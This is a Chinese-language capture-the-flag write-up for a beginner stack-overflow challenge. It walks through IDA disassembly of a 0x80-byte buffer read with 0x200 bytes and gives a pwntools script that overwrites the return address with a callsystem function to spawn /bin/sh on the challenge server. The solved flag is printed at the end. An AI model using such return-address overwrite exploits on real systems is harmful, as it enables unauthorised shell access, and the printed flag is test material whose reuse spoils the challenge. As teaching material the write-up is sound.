题目来源:
XMan
题目描述:
菜鸡了解了什么是溢出,他相信自己能得到shell
题目场景:
220.249.52.133:48442
题目附件:
291721f42a044f50a2aead748d539df0
题目思路:
直接栈溢出,题目给了参数为/bin/sh的callsystem函数在0x400596
解题过程:
载入IDA64,找到main函数F5反编译得到伪C代码,一行打印,一行输入,进入vulnerable_function函数。
ssize_t vulnerable_function(){
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
buf这个字符数组的长度只有0x80,而我们可以输入0x200的东西,能覆盖掉数组外面的东西。当属于数组的空间结束后,有一个0x8个字节长度的s,其次是一个存放着返回地址的r。我们可以输入数据,覆盖到返回地址r。
-0000000000000080 ; D/A/* : change type (data/ascii/array)
-0000000000000080 ; N : rename
-0000000000000080 ; U : undefine
-0000000000000080 ; Use data definition commands to create local variables and function arguments.
-0000000000000080 ; Two special fields " r" and " s" represent return address and saved registers.
-0000000000000080 ; Frame size: 80; Saved regs: 8; Purge: 0
-0000000000000080 buf db ?
......
-0000000000000001 db ? ; undefined
+0000000000000000 s db 8 dup(?)
+0000000000000008 r db 8 dup(?)
+0000000000000010 ; end of stack variables
_system
函数拥有系统的最高权限,参数为/bin/sh
可以提供终端,从而控制系统。左侧的函数列表找到callsystem,地址是0x400596把他写到返回地址r上,在数组结束后直接返回到callsystem函数上。
.text:0000000000400596 ; Attributes: bp-based frame
.text:0000000000400596 public callsystem
.text:0000000000400596 callsystem proc near
.text:0000000000400596 ; __unwind {
.text:0000000000400596 55 push rbp
.text:0000000000400597 48 89 E5 mov rbp, rsp
.text:000000000040059A BF 84 06 40 00 mov edi, offset command ; "/bin/sh"
.text:000000000040059F E8 BC FE FF FF call _system
.text:00000000004005A4 5D pop rbp
.text:00000000004005A5 C3 retn
.text:00000000004005A5 ; } // starts at 400596
.text:00000000004005A5 callsystem endp
解释一下汇编:x64和x32的汇编参数存放的位置不同,32位存在栈里,直接压入四个随意字节,再压入_system
的参数地址,而64位优先存在寄存器里,所以需要把/bin/sh复制到寄存器里,然后再调用_system
。脚本:
from pwn import *
p = remote("220.249.52.133", 48442)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
p.recvuntil("Hello, World\n")#当接收数据后
p.sendline(payload)
p.interactive()
运行脚本时把中文去掉
giantbranch@ubuntu:~/Desktop$ python 1.py
[+] Opening connection to 220.249.52.133 on port 48442: Done
[*] Switching to interactive mode
$ cat flag
cyberpeace{6ec99dbcb629f24001684356904b3c37}
cyberpeace{6ec99dbcb629f24001684356904b3c37}